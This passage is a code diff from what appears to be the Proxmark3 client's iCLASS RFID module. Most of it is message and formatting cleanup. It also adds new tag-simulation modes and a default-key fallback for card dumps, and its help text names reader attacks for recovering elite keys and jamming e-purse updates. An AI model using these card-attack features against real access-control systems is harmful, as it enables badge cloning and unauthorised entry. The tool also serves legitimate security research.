- PrintAndLogEx(INFO, " " _YELLOW_("%04X") " ( %5u )...... OTP", otp, otp); - PrintAndLogEx(INFO, " " _YELLOW_("%02X") "............ block write lock", hdr->conf.block_writelock); - PrintAndLogEx(INFO, " " _YELLOW_("%02X") "......... chip", hdr->conf.chip_config); - PrintAndLogEx(INFO, " " _YELLOW_("%02X") "...... mem", hdr->conf.mem_config); - PrintAndLogEx(INFO, " " _YELLOW_("%02X") "... EAS", hdr->conf.eas); - PrintAndLogEx(INFO, " " _YELLOW_("%02X") " fuses", hdr->conf.fuses); + PrintAndLogEx(INFO, " Raw: " _YELLOW_("%s"), sprint_hex((uint8_t *)&hdr->conf, 8)); + PrintAndLogEx(INFO, " " _YELLOW_("%02X") " ( %3u )............. app limit", hdr->conf.app_limit, hdr->conf.app_limit); + PrintAndLogEx(INFO, " " _YELLOW_("%04X") " ( %5u )...... OTP", otp, otp); + PrintAndLogEx(INFO, " " _YELLOW_("%02X") "............ block write lock", hdr->conf.block_writelock); + PrintAndLogEx(INFO, " " _YELLOW_("%02X") "......... chip", hdr->conf.chip_config); + PrintAndLogEx(INFO, " " _YELLOW_("%02X") "...... mem", hdr->conf.mem_config); + PrintAndLogEx(INFO, " " _YELLOW_("%02X") "... EAS", hdr->conf.eas); + PrintAndLogEx(INFO, " " _YELLOW_("%02X") " fuses", hdr->conf.fuses); uint8_t fuses = hdr->conf.fuses; @@ -627,7 +727,7 @@ static void mem_app_config(const picopass_hdr_t *hdr) { uint8_t app2_limit = card_app2_limit[type]; uint8_t pagemap = get_pagemap(hdr); - PrintAndLogEx(INFO, "-------------------------- " _CYAN_("Memory") " --------------------------"); + PrintAndLogEx(INFO, "------------------------ " _CYAN_("Memory") " -------------------------"); if (pagemap == PICOPASS_NON_SECURE_PAGEMODE) { PrintAndLogEx(INFO, " %u KBits ( " _YELLOW_("%u") " bytes )", kb, app2_limit * 8); @@ -656,7 +756,7 @@ static void mem_app_config(const picopass_hdr_t *hdr) { [=] AA2 blocks 5 { 0x100 - 0xFF (256 - 255) } */ - PrintAndLogEx(INFO, "------------------------- " _CYAN_("KeyAccess") " ------------------------"); + PrintAndLogEx(INFO, "----------------------- " _CYAN_("KeyAccess") " -----------------------"); PrintAndLogEx(INFO, " * Kd, Debit key, AA1 Kc, Credit key, AA2 *"); uint8_t keyAccess = isset(mem, 0x01); if (keyAccess) { @@ -677,13 +777,13 @@ static void mem_app_config(const picopass_hdr_t *hdr) { } void print_picopass_info(const picopass_hdr_t *hdr) { - PrintAndLogEx(INFO, "-------------------- " _CYAN_("Card configuration") " --------------------"); + PrintAndLogEx(INFO, "------------------- " _CYAN_("Card configuration") " ------------------"); fuse_config(hdr); mem_app_config(hdr); } void print_picopass_header(const picopass_hdr_t *hdr) { - PrintAndLogEx(INFO, "--------------------------- " _CYAN_("Card") " ---------------------------"); + PrintAndLogEx(INFO, "-------------------------- " _CYAN_("Card") " -------------------------"); PrintAndLogEx(SUCCESS, " CSN... " _GREEN_("%s") " uid", sprint_hex(hdr->csn, sizeof(hdr->csn))); PrintAndLogEx(SUCCESS, " Config... %s card configuration", sprint_hex((uint8_t *)&hdr->conf, sizeof(hdr->conf))); PrintAndLogEx(SUCCESS, "E-purse... %s card challenge, CC", sprint_hex(hdr->epurse, sizeof(hdr->epurse))); @@ -691,13 +791,13 @@ void print_picopass_header(const picopass_hdr_t *hdr) { if (memcmp(hdr->key_d, zeros, sizeof(zeros)) && memcmp(hdr->key_d, empty, sizeof(empty))) { PrintAndLogEx(SUCCESS, " Kd... " _YELLOW_("%s") " debit key", sprint_hex(hdr->key_d, sizeof(hdr->key_d))); } else { - PrintAndLogEx(SUCCESS, " Kd... %s debit key ( hidden )", sprint_hex(hdr->key_d, sizeof(hdr->key_d))); + PrintAndLogEx(SUCCESS, " Kd... -- -- -- -- -- -- -- -- debit key ( hidden )"); } if (memcmp(hdr->key_c, zeros, sizeof(zeros)) && memcmp(hdr->key_c, empty, sizeof(empty))) { PrintAndLogEx(SUCCESS, " Kc... " _YELLOW_("%s") " credit key", sprint_hex(hdr->key_c, sizeof(hdr->key_c))); } else { - PrintAndLogEx(SUCCESS, " Kc... %s credit key ( hidden )", sprint_hex(hdr->key_c, sizeof(hdr->key_c))); + PrintAndLogEx(SUCCESS, " Kc... -- -- -- -- -- -- -- -- credit key ( hidden )"); } PrintAndLogEx(SUCCESS, " AIA... %s application issuer area", sprint_hex(hdr->app_issuer_area, sizeof(hdr->app_issuer_area))); @@ -711,7 +811,7 @@ static int CmdHFiClassSniff(const char *Cmd) { CLIParserContext *ctx; CLIParserInit(&ctx, "hf iclass sniff", - "Sniff the communication reader and tag", + "Sniff the communication between reader and tag", "hf iclass sniff\n" "hf iclass sniff -j --> jam e-purse updates\n" ); @@ -750,10 +850,10 @@ static int CmdHFiClassSniff(const char *Cmd) { WaitForResponse(CMD_HF_ICLASS_SNIFF, &resp); PrintAndLogEx(NORMAL, ""); - PrintAndLogEx(HINT, "Try `" _YELLOW_("hf iclass list") "` to view captured tracelog"); - PrintAndLogEx(HINT, "Try `" _YELLOW_("trace save -f hf_iclass_mytrace") "` to save tracelog for later analysing"); + PrintAndLogEx(HINT, "Hint: Try `" _YELLOW_("hf iclass list") "` to view captured tracelog"); + PrintAndLogEx(HINT, "Hint: Try `" _YELLOW_("trace save -f hf_iclass_mytrace") "` to save tracelog for later analysing"); if (jam_epurse_update) { - PrintAndLogEx(HINT, "Verify if the jam worked by comparing value in trace and block 2"); + PrintAndLogEx(HINT, "Hint: Verify if the jam worked by comparing value in trace and block 2"); } PrintAndLogEx(NORMAL, ""); return PM3_SUCCESS; @@ -767,7 +867,9 @@ static int CmdHFiClassSim(const char *Cmd) { "hf iclass sim -t 1 --> simulate with default CSN\n" "hf iclass sim -t 2 --> execute loclass attack online part\n" "hf iclass sim -t 3 --> simulate full iCLASS 2k tag\n" - "hf iclass sim -t 4 --> Reader-attack, adapted for KeyRoll mode, gather reader responses to extract elite key"); + "hf iclass sim -t 4 --> Reader-attack, adapted for KeyRoll mode, gather reader responses to extract elite key\n" + "hf iclass sim -t 6 --> simulate full iCLASS 2k tag that doesn't respond to r/w requests to the last SIO block\n" + "hf iclass sim -t 7 --> simulate full iCLASS 2k tag that doesn't XOR or respond to r/w requests on block 3"); void *argtable[] = { arg_param_begin, @@ -798,7 +900,7 @@ static int CmdHFiClassSim(const char *Cmd) { CLIParserFree(ctx); - if (sim_type > 4) { + if (sim_type > 4 && sim_type != 6 && sim_type != 7) { PrintAndLogEx(ERR, "Undefined simtype %d", sim_type); return PM3_EINVARG; } @@ -847,7 +949,7 @@ static int CmdHFiClassSim(const char *Cmd) { return PM3_EOPABORTED; } if (tries > 20) { - PrintAndLogEx(WARNING, "\ntimeout while waiting for reply."); + PrintAndLogEx(WARNING, "\ntimeout while waiting for reply"); return PM3_ETIMEOUT; } } @@ -860,7 +962,7 @@ static int CmdHFiClassSim(const char *Cmd) { size_t datalen = NUM_CSNS * MAC_ITEM_SIZE; uint8_t *dump = calloc(datalen, sizeof(uint8_t)); - if (!dump) { + if (dump == NULL) { PrintAndLogEx(WARNING, "Failed to allocate memory"); return PM3_EMALLOC; } @@ -880,7 +982,7 @@ static int CmdHFiClassSim(const char *Cmd) { saveFile("iclass_mac_attack", ".bin", dump, datalen); free(dump); - PrintAndLogEx(HINT, "Try `" _YELLOW_("hf iclass loclass -f iclass_mac_attack.bin") "` to recover elite key"); + PrintAndLogEx(HINT, "Hint: Try `" _YELLOW_("hf iclass loclass -f iclass_mac_attack.bin") "` to recover elite key"); break; } case ICLASS_SIM_MODE_READER_ATTACK_KEYROLL: { @@ -898,7 +1000,7 @@ static int CmdHFiClassSim(const char *Cmd) { return PM3_EOPABORTED; } if (tries > 20) { - PrintAndLogEx(WARNING, "\ntimeout while waiting for reply."); + PrintAndLogEx(WARNING, "\ntimeout while waiting for reply"); return PM3_ETIMEOUT; } } @@ -911,7 +1013,7 @@ static int CmdHFiClassSim(const char *Cmd) { size_t datalen = NUM_CSNS * MAC_ITEM_SIZE; uint8_t *dump = calloc(datalen, sizeof(uint8_t)); - if (!dump) { + if (dump == NULL) { PrintAndLogEx(WARNING, "Failed to allocate memory"); return PM3_EMALLOC; } @@ -944,13 +1046,15 @@ static int CmdHFiClassSim(const char *Cmd) { saveFile("iclass_mac_attack_keyroll_B", ".bin", dump, datalen); free(dump); - PrintAndLogEx(HINT, "Try `" _YELLOW_("hf iclass loclass -f iclass_mac_attack_keyroll_A.bin") "` to recover elite key"); - PrintAndLogEx(HINT, "Try `" _YELLOW_("hf iclass loclass -f iclass_mac_attack_keyroll_B.bin") "` to recover elite key"); + PrintAndLogEx(HINT, "Hint: Try `" _YELLOW_("hf iclass loclass -f iclass_mac_attack_keyroll_A.bin") "` to recover elite key"); + PrintAndLogEx(HINT, "Hint: Try `" _YELLOW_("hf iclass loclass -f iclass_mac_attack_keyroll_B.bin") "` to recover elite key"); break; } case ICLASS_SIM_MODE_CSN: case ICLASS_SIM_MODE_CSN_DEFAULT: case ICLASS_SIM_MODE_FULL: + case ICLASS_SIM_MODE_FULL_GLITCH: + case ICLASS_SIM_MODE_FULL_GLITCH_KEY: default: { PrintAndLogEx(INFO, "Starting iCLASS simulation"); PrintAndLogEx(INFO, "Press " _GREEN_("`pm3 button`") " to abort"); @@ -958,8 +1062,8 @@ static int CmdHFiClassSim(const char *Cmd) { clearCommandBuffer(); SendCommandMIX(CMD_HF_ICLASS_SIMULATE, sim_type, numberOfCSNs, 1, csn, 8); - if (sim_type == ICLASS_SIM_MODE_FULL) - PrintAndLogEx(HINT, "Try `" _YELLOW_("hf iclass esave -h") "` to save the emulator memory to file"); + if (sim_type == ICLASS_SIM_MODE_FULL || sim_type == ICLASS_SIM_MODE_FULL_GLITCH || sim_type == ICLASS_SIM_MODE_FULL_GLITCH_KEY) + PrintAndLogEx(HINT, "Hint: Try `" _YELLOW_("hf iclass esave -h") "` to save the emulator memory to file"); break; } } @@ -1027,11 +1131,11 @@ int read_iclass_csn(bool loop, bool verbose, bool shallow_mod) { free(card); res = PM3_SUCCESS; } else { - PrintAndLogEx(FAILED, "failed to allocate memory"); + PrintAndLogEx(WARNING, "Failed to allocate memory"); res = PM3_EMALLOC; } } - } while (loop && kbd_enter_pressed() == false); + } while (loop && (kbd_enter_pressed() == false)); DropField(); return res; @@ -1111,7 +1215,7 @@ static int CmdHFiClassELoad(const char *Cmd) { SendCommandNG(CMD_SPIFFS_ELOAD, (uint8_t *)filename, fnlen); PacketResponseNG resp; if (WaitForResponseTimeout(CMD_SPIFFS_ELOAD, &resp, 2000) == false) { - PrintAndLogEx(WARNING, "timeout while waiting for reply."); + PrintAndLogEx(WARNING, "timeout while waiting for reply"); return PM3_ETIMEOUT; } @@ -1152,7 +1256,7 @@ static int CmdHFiClassELoad(const char *Cmd) { iclass_upload_emul(dump, bytes_read, 0, &bytes_sent); free(dump); PrintAndLogEx(SUCCESS, "uploaded " _YELLOW_("%d") " bytes to emulator memory", bytes_sent); - PrintAndLogEx(HINT, "You are ready to simulate. See " _YELLOW_("`hf iclass sim -h`")); + PrintAndLogEx(HINT, "Hint: You are ready to simulate. See `" _YELLOW_("hf iclass sim -h") "`"); PrintAndLogEx(INFO, "Done!"); return PM3_SUCCESS; } @@ -1188,7 +1292,7 @@ static int CmdHFiClassESave(const char *Cmd) { uint8_t *dump = calloc(bytes, sizeof(uint8_t)); if (dump == NULL) { - PrintAndLogEx(WARNING, "Fail, cannot allocate memory"); + PrintAndLogEx(WARNING, "Failed to allocate memory"); return PM3_EMALLOC; } @@ -1209,7 +1313,7 @@ static int CmdHFiClassESave(const char *Cmd) { pm3_save_dump(filename, dump, bytes, jsfIclass); free(dump); - PrintAndLogEx(HINT, "Try `" _YELLOW_("hf iclass view -f") "` to view dump file"); + PrintAndLogEx(HINT, "Hint: Try `" _YELLOW_("hf iclass view -f") "` to view dump file"); return PM3_SUCCESS; } @@ -1251,7 +1355,7 @@ static int CmdHFiClassEView(const char *Cmd) { uint8_t *dump = calloc(bytes, sizeof(uint8_t)); if (dump == NULL) { - PrintAndLogEx(WARNING, "Fail, cannot allocate memory"); + PrintAndLogEx(WARNING, "Failed to allocate memory"); return PM3_EMALLOC; } memset(dump, 0, bytes); @@ -1270,10 +1374,7 @@ static int CmdHFiClassEView(const char *Cmd) { PrintAndLogEx(NORMAL, ""); printIclassDumpContents(dump, 1, blocks, bytes, dense_output); - - if (verbose) { - print_iclass_sio(dump, bytes); - } + print_iclass_sio(dump, bytes, verbose); free(dump); return PM3_SUCCESS; @@ -1324,7 +1425,7 @@ static int CmdHFiClassESetBlk(const char *Cmd) { static bool iclass_detect_new_pacs(uint8_t *d) { uint8_t n = 0; - while (n++ < (PICOPASS_BLOCK_SIZE / 2)) { + while (n++ < (PICOPASS_BLOCK_SIZE >> 1)) { if (d[n] && d[n + 1] == 0xA6) { return true; } @@ -1342,27 +1443,27 @@ static int iclass_decode_credentials_new_pacs(uint8_t *d) { uint8_t pad = d[offset]; - PrintAndLogEx(INFO, "%u , %u", offset, pad); + PrintAndLogEx(DEBUG, "%u , %u", offset, pad); char *binstr = (char *)calloc((PICOPASS_BLOCK_SIZE * 8) + 1, sizeof(uint8_t)); if (binstr == NULL) { + PrintAndLogEx(WARNING, "Failed to allocate memory"); return PM3_EMALLOC; } uint8_t n = PICOPASS_BLOCK_SIZE - offset - 2; bytes_2_binstr(binstr, d + offset + 2, n); - PrintAndLogEx(NORMAL, ""); - PrintAndLogEx(SUCCESS, "PACS......... " _GREEN_("%s"), sprint_hex_inrow(d + offset + 2, n)); - PrintAndLogEx(SUCCESS, "padded bin... " _GREEN_("%s") " ( %zu )", binstr, strlen(binstr)); + PrintAndLogEx(DEBUG, "PACS......... " _GREEN_("%s"), sprint_hex_inrow(d + offset + 2, n)); + PrintAndLogEx(DEBUG, "padded bin... " _GREEN_("%s") " ( %zu )", binstr, strlen(binstr)); binstr[strlen(binstr) - pad] = '\0'; - PrintAndLogEx(SUCCESS, "bin.......... " _GREEN_("%s") " ( %zu )", binstr, strlen(binstr)); + PrintAndLogEx(DEBUG, "bin.......... " _GREEN_("%s") " ( %zu )", binstr, strlen(binstr)); size_t hexlen = 0; uint8_t hex[16] = {0}; binstr_2_bytes(hex, &hexlen, binstr); - PrintAndLogEx(SUCCESS, "hex.......... " _GREEN_("%s"), sprint_hex_inrow(hex, hexlen)); + PrintAndLogEx(DEBUG, "hex.......... " _GREEN_("%s"), sprint_hex_inrow(hex, hexlen)); uint32_t top = 0, mid = 0, bot = 0; if (binstring_to_u96(&top, &mid, &bot, binstr) != strlen(binstr)) { @@ -1374,9 +1475,8 @@ static int iclass_decode_credentials_new_pacs(uint8_t *d) { free(binstr); PrintAndLogEx(NORMAL, ""); - PrintAndLogEx(INFO, "Wiegand decode"); - wiegand_message_t packed = initialize_message_object(top, mid, bot, 0); - HIDTryUnpack(&packed); + PrintAndLogEx(INFO, "------------------------- " _CYAN_("SIO - Wiegand") " ----------------------------"); + decode_wiegand(top, mid, bot, 0); return PM3_SUCCESS; } @@ -1396,9 +1496,9 @@ static void iclass_decode_credentials(uint8_t *data) { bool has_values = (memcmp(b7, empty, PICOPASS_BLOCK_SIZE) != 0) && (memcmp(b7, zeros, PICOPASS_BLOCK_SIZE) != 0); if (has_values && encryption == None) { - // todo: remove preamble/sentinel - PrintAndLogEx(INFO, "Block 7 decoder"); + PrintAndLogEx(INFO, "------------------------ " _CYAN_("Block 7 decoder") " --------------------------"); + // todo: remove preamble/sentinel if (has_new_pacs) { iclass_decode_credentials_new_pacs(b7); } else { @@ -1413,15 +1513,10 @@ static void iclass_decode_credentials(uint8_t *data) { char *pbin = binstr; while (strlen(pbin) && *(++pbin) == '0'); - PrintAndLogEx(SUCCESS, "Binary..................... " _GREEN_("%s"), pbin); - - PrintAndLogEx(INFO, "Wiegand decode"); - wiegand_message_t packed = initialize_message_object(top, mid, bot, 0); - HIDTryUnpack(&packed); + PrintAndLogEx(SUCCESS, "Binary... " _GREEN_("%s") " ( %zu )", pbin, strlen(pbin)); + PrintAndLogEx(NORMAL, ""); + decode_wiegand(top, mid, bot, 0); } - - } else { - PrintAndLogEx(INFO, "No unencrypted legacy credential found"); } } @@ -1459,7 +1554,7 @@ static int CmdHFiClassDecrypt(const char *Cmd) { CLIParamStrToBuf(arg_get_str(clictx, 1), (uint8_t *)filename, FILE_PATH_SIZE, &fnlen); int enc_data_len = 0; - uint8_t enc_data[8] = {0}; + uint8_t enc_data[PICOPASS_BLOCK_SIZE] = {0}; bool have_data = false; CLIGetHexWithReturn(clictx, 2, enc_data, &enc_data_len); @@ -1479,7 +1574,7 @@ static int CmdHFiClassDecrypt(const char *Cmd) { // sanity checks if (enc_data_len > 0) { - if (enc_data_len != 8) { + if (enc_data_len != PICOPASS_BLOCK_SIZE) { PrintAndLogEx(ERR, "Data must be 8 hex bytes (16 HEX symbols)"); return PM3_EINVARG; } @@ -1542,7 +1637,7 @@ static int CmdHFiClassDecrypt(const char *Cmd) { // decrypt user supplied data if (have_data) { - uint8_t dec_data[8] = {0}; + uint8_t dec_data[PICOPASS_BLOCK_SIZE] = {0}; if (use_sc) { Decrypt(enc_data, dec_data); } else { @@ -1552,8 +1647,9 @@ static int CmdHFiClassDecrypt(const char *Cmd) { PrintAndLogEx(SUCCESS, "encrypted... %s", sprint_hex_inrow(enc_data, sizeof(enc_data))); PrintAndLogEx(SUCCESS, "plain....... " _YELLOW_("%s"), sprint_hex_inrow(dec_data, sizeof(dec_data))); - if (use_sc && use_decode6) + if (use_sc && use_decode6) { DecodeBlock6(dec_data); + } } // decrypt dump file data @@ -1570,13 +1666,13 @@ static int CmdHFiClassDecrypt(const char *Cmd) { uint8_t pages = 1; getMemConfig(mem, chip, &app_areas, &kb, &books, &pages); - BLOCK79ENCRYPTION aa1_encryption = (decrypted[(6 * 8) + 7] & 0x03); + BLOCK79ENCRYPTION aa1_encryption = (decrypted[(6 * PICOPASS_BLOCK_SIZE) + 7] & 0x03); uint8_t limit = MIN(applimit, decryptedlen / 8); - if (decryptedlen / 8 != applimit) { - PrintAndLogEx(WARNING, "Actual file len " _YELLOW_("%zu") " vs HID app-limit len " _YELLOW_("%u"), decryptedlen, applimit * 8); - PrintAndLogEx(INFO, "Setting limit to " _GREEN_("%u"), limit * 8); + if (decryptedlen / PICOPASS_BLOCK_SIZE != applimit) { + PrintAndLogEx(WARNING, "Actual file len " _YELLOW_("%zu") " vs HID app-limit len " _YELLOW_("%u"), decryptedlen, applimit * PICOPASS_BLOCK_SIZE); + PrintAndLogEx(INFO, "Setting limit to " _GREEN_("%u"), limit * PICOPASS_BLOCK_SIZE); } //uint8_t numblocks4userid = GetNumberBlocksForUserId(decrypted + (6 * 8)); @@ -1584,14 +1680,14 @@ static int CmdHFiClassDecrypt(const char *Cmd) { bool decrypted_block789 = false; for (uint8_t blocknum = 0; blocknum < limit; ++blocknum) { - uint16_t idx = blocknum * 8; - memcpy(enc_data, decrypted + idx, 8); + uint16_t idx = blocknum * PICOPASS_BLOCK_SIZE; + memcpy(enc_data, decrypted + idx, PICOPASS_BLOCK_SIZE); switch (aa1_encryption) { // Right now, only 3DES is supported case TRIPLEDES: // Decrypt block 7,8,9 if configured. - if (blocknum > 6 && blocknum <= 9 && memcmp(enc_data, empty, 8) != 0) { + if (blocknum > 6 && blocknum <= 9 && memcmp(enc_data, empty, PICOPASS_BLOCK_SIZE) != 0) { if (use_sc) { Decrypt(enc_data, decrypted + idx); } else { @@ -1610,7 +1706,7 @@ static int CmdHFiClassDecrypt(const char *Cmd) { if (decrypted_block789) { // Set the 2 last bits of block6 to 0 to mark the data as decrypted - decrypted[(6 * 8) + 7] &= 0xFC; + decrypted[(6 * PICOPASS_BLOCK_SIZE) + 7] &= 0xFC; } } @@ -1635,34 +1731,30 @@ static int CmdHFiClassDecrypt(const char *Cmd) { } printIclassDumpContents(decrypted, 1, (decryptedlen / 8), decryptedlen, dense_output); - - if (verbose) { - print_iclass_sio(decrypted, decryptedlen); - } - + print_iclass_sio(decrypted, decryptedlen, verbose); PrintAndLogEx(NORMAL, ""); // decode block 6 - bool has_values = (memcmp(decrypted + (8 * 6), empty, 8) != 0) && (memcmp(decrypted + (8 * 6), zeros, 8) != 0); + bool has_values = (memcmp(decrypted + (PICOPASS_BLOCK_SIZE * 6), empty, 8) != 0) && (memcmp(decrypted + (PICOPASS_BLOCK_SIZE * 6), zeros, PICOPASS_BLOCK_SIZE) != 0); if (has_values && use_sc) { - DecodeBlock6(decrypted + (8 * 6)); + DecodeBlock6(decrypted + (PICOPASS_BLOCK_SIZE * 6)); } // decode block 7-8-9 iclass_decode_credentials(decrypted); // decode block 9 - has_values = (memcmp(decrypted + (8 * 9), empty, 8) != 0) && (memcmp(decrypted + (8 * 9), zeros, 8) != 0); + has_values = (memcmp(decrypted + (PICOPASS_BLOCK_SIZE * 9), empty, PICOPASS_BLOCK_SIZE) != 0) && (memcmp(decrypted + (PICOPASS_BLOCK_SIZE * 9), zeros, PICOPASS_BLOCK_SIZE) != 0); if (has_values && use_sc) { - uint8_t usr_blk_len = GetNumberBlocksForUserId(decrypted + (8 * 6)); + uint8_t usr_blk_len = GetNumberBlocksForUserId(decrypted + (PICOPASS_BLOCK_SIZE * 6)); if (usr_blk_len < 3) { PrintAndLogEx(NORMAL, ""); PrintAndLogEx(INFO, "Block 9 decoder"); - uint8_t pinsize = GetPinSize(decrypted + (8 * 6)); + uint8_t pinsize = GetPinSize(decrypted + (PICOPASS_BLOCK_SIZE * 6)); if (pinsize > 0) { - uint64_t pin = bytes_to_num(decrypted + (8 * 9), 5); + uint64_t pin = bytes_to_num(decrypted + (PICOPASS_BLOCK_SIZE * 9), 5); char tmp[17] = {0}; snprintf(tmp, sizeof(tmp), "%."PRIu64, BCD2DEC(pin)); PrintAndLogEx(INFO, "PIN........................ " _GREEN_("%.*s"), pinsize, tmp); @@ -1670,7 +1762,7 @@ static int CmdHFiClassDecrypt(const char *Cmd) { } } - PrintAndLogEx(INFO, "-----------------------------------------------------------------"); + PrintAndLogEx(INFO, "-------------------------------------------------------------------"); free(decrypted); } @@ -1776,7 +1868,7 @@ static bool select_only(uint8_t *CSN, uint8_t *CCNR, bool verbose, bool shallow_ SendCommandNG(CMD_HF_ICLASS_READER, (uint8_t *)&payload, sizeof(iclass_card_select_t)); if (WaitForResponseTimeout(CMD_HF_ICLASS_READER, &resp, 2000) == false) { - PrintAndLogEx(WARNING, "command execute timeout"); + PrintAndLogEx(WARNING, "command execution time out"); return false; } @@ -1791,15 +1883,17 @@ static bool select_only(uint8_t *CSN, uint8_t *CCNR, bool verbose, bool shallow_ return false; } - if (CSN != NULL) - memcpy(CSN, hdr->csn, 8); + if (CSN != NULL) { + memcpy(CSN, hdr->csn, PICOPASS_BLOCK_SIZE); + } - if (CCNR != NULL) - memcpy(CCNR, hdr->epurse, 8); + if (CCNR != NULL) { + memcpy(CCNR, hdr->epurse, PICOPASS_BLOCK_SIZE); + } if (verbose) { - PrintAndLogEx(SUCCESS, "CSN %s", sprint_hex(CSN, 8)); - PrintAndLogEx(SUCCESS, "epurse %s", sprint_hex(CCNR, 8)); + PrintAndLogEx(SUCCESS, "CSN............ %s", sprint_hex_inrow(CSN, PICOPASS_BLOCK_SIZE)); + PrintAndLogEx(SUCCESS, "E-purse........ %s", sprint_hex_inrow(CCNR, PICOPASS_BLOCK_SIZE)); } return true; } @@ -1838,15 +1932,32 @@ static int CmdHFiClassDump(const char *Cmd) { int key_len = 0; uint8_t key[8] = {0}; - bool auth = false; - CLIGetHexWithReturn(ctx, 2, key, &key_len); int deb_key_nr = arg_get_int_def(ctx, 3, -1); + int credit_key_len = 0; + uint8_t credit_key[8] = {0}; + CLIGetHexWithReturn(ctx, 4, credit_key, &credit_key_len); + + int credit_key_nr = arg_get_int_def(ctx, 5, -1); + bool elite = arg_get_lit(ctx, 6); + bool rawkey = arg_get_lit(ctx, 7); + bool use_replay = arg_get_lit(ctx, 8); + bool dense_output = g_session.dense_output || arg_get_lit(ctx, 9); + bool force = arg_get_lit(ctx, 10); + bool shallow_mod = arg_get_lit(ctx, 11); + bool nosave = arg_get_lit(ctx, 12); + + CLIParserFree(ctx); + + bool auth = false; + bool have_credit_key = false; + + // Sanity checks + if (key_len > 0 && deb_key_nr >= 0) { PrintAndLogEx(ERR, "Please specify debit key or index, not both"); - CLIParserFree(ctx); return PM3_EINVARG; } @@ -1854,7 +1965,6 @@ static int CmdHFiClassDump(const char *Cmd) { auth = true; if (key_len != 8) { PrintAndLogEx(ERR, "Debit key is incorrect length"); - CLIParserFree(ctx); return PM3_EINVARG; } } @@ -1866,22 +1976,12 @@ static int CmdHFiClassDump(const char *Cmd) { PrintAndLogEx(SUCCESS, "Using AA1 (debit) key[%d] " _GREEN_("%s"), deb_key_nr, sprint_hex(iClass_Key_Table[deb_key_nr], 8)); } else { PrintAndLogEx(ERR, "Key number is invalid"); - CLIParserFree(ctx); return PM3_EINVARG; } } - int credit_key_len = 0; - uint8_t credit_key[8] = {0}; - bool have_credit_key = false; - - CLIGetHexWithReturn(ctx, 4, credit_key, &credit_key_len); - - int credit_key_nr = arg_get_int_def(ctx, 5, -1); - if (credit_key_len > 0 && credit_key_nr >= 0) { PrintAndLogEx(ERR, "Please specify credit key or index, not both"); - CLIParserFree(ctx); return PM3_EINVARG; } @@ -1890,7 +1990,6 @@ static int CmdHFiClassDump(const char *Cmd) { have_credit_key = true; if (credit_key_len != 8) { PrintAndLogEx(ERR, "Credit key is incorrect length"); - CLIParserFree(ctx); return PM3_EINVARG; } } @@ -1903,21 +2002,10 @@ static int CmdHFiClassDump(const char *Cmd) { PrintAndLogEx(SUCCESS, "Using AA2 (credit) key[%d] " _GREEN_("%s"), credit_key_nr, sprint_hex(iClass_Key_Table[credit_key_nr], 8)); } else { PrintAndLogEx(ERR, "Key number is invalid"); - CLIParserFree(ctx); return PM3_EINVARG; } } - bool elite = arg_get_lit(ctx, 6); - bool rawkey = arg_get_lit(ctx, 7); - bool use_replay = arg_get_lit(ctx, 8); - bool dense_output = g_session.dense_output || arg_get_lit(ctx, 9); - bool force = arg_get_lit(ctx, 10); - bool shallow_mod = arg_get_lit(ctx, 11); - bool nosave = arg_get_lit(ctx, 12); - - CLIParserFree(ctx); - if ((use_replay + rawkey + elite) > 1) { PrintAndLogEx(ERR, "Can not use a combo of 'elite', 'raw', 'nr'"); return PM3_EINVARG; @@ -1940,9 +2028,8 @@ static int CmdHFiClassDump(const char *Cmd) { clearCommandBuffer(); PacketResponseNG resp; SendCommandNG(CMD_HF_ICLASS_READER, (uint8_t *)&payload_rdr, sizeof(iclass_card_select_t)); - if (WaitForResponseTimeout(CMD_HF_ICLASS_READER, &resp, 2000) == false) { - PrintAndLogEx(WARNING, "command execute timeout"); + PrintAndLogEx(WARNING, "command execution time out"); DropField(); return PM3_ESOFT; } @@ -1997,9 +2084,11 @@ static int CmdHFiClassDump(const char *Cmd) { PrintAndLogEx(INFO, "No keys needed, ignoring user supplied key"); } } else { + if (auth == false) { - PrintAndLogEx(FAILED, "Run command with keys"); - return PM3_ESOFT; + auth = true; + memcpy(key, iClass_Key_Table[0], 8); + PrintAndLogEx(SUCCESS, "Default to AA1 (debit) " _GREEN_("%s"), sprint_hex(key, sizeof(key))); } if (app_limit2 != 0) { @@ -2041,8 +2130,9 @@ static int CmdHFiClassDump(const char *Cmd) { return PM3_EOPABORTED; } - if (WaitForResponseTimeout(CMD_HF_ICLASS_DUMP, &resp, 2000)) + if (WaitForResponseTimeout(CMD_HF_ICLASS_DUMP, &resp, 2000)) { break; + } } PrintAndLogEx(NORMAL, ""); @@ -2069,7 +2159,7 @@ static int CmdHFiClassDump(const char *Cmd) { uint8_t tempbuf[0x100 * 8]; // response ok - now get bigbuf content of the dump - if (!GetFromDevice(BIG_BUF, tempbuf, sizeof(tempbuf), startindex, NULL, 0, NULL, 2500, false)) { + if (GetFromDevice(BIG_BUF, tempbuf, sizeof(tempbuf), startindex, NULL, 0, NULL, 2500, false) == false) { PrintAndLogEx(WARNING, "command execution time out"); return PM3_ETIMEOUT; } @@ -2134,7 +2224,7 @@ static int CmdHFiClassDump(const char *Cmd) { } // get dumped data from bigbuf - if (!GetFromDevice(BIG_BUF, tempbuf, sizeof(tempbuf), startindex, NULL, 0, NULL, 2500, false)) { + if (GetFromDevice(BIG_BUF, tempbuf, sizeof(tempbuf), startindex, NULL, 0, NULL, 2500, false) == false) { PrintAndLogEx(WARNING, "command execution time out"); goto write_dump; } @@ -2178,13 +2268,14 @@ write_dump: pm3_save_dump(filename, tag_data, bytes_got, jsfIclass); - PrintAndLogEx(HINT, "Try `" _YELLOW_("hf iclass decrypt -f") "` to decrypt dump file"); - PrintAndLogEx(HINT, "Try `" _YELLOW_("hf iclass view -f") "` to view dump file"); + PrintAndLogEx(HINT, "Hint: Try `" _YELLOW_("hf iclass decrypt -f") "` to decrypt dump file"); + PrintAndLogEx(HINT, "Hint: Try `" _YELLOW_("hf iclass view -f") "` to view dump file"); PrintAndLogEx(NORMAL, ""); return PM3_SUCCESS; } -static int iclass_write_block(uint8_t blockno, uint8_t *bldata, uint8_t *macdata, uint8_t *KEY, bool use_credit_key, bool elite, bool rawkey, bool replay, bool verbose, bool use_secure_pagemode, bool shallow_mod) { +static int iclass_write_block(uint8_t blockno, uint8_t *bldata, uint8_t *macdata, uint8_t *KEY, bool use_credit_key, + bool elite, bool rawkey, bool replay, bool verbose, bool use_secure_pagemode, bool shallow_mod) { iclass_writeblock_req_t payload = { .req.use_raw = rawkey, @@ -2207,8 +2298,8 @@ static int iclass_write_block(uint8_t blockno, uint8_t *bldata, uint8_t *macdata 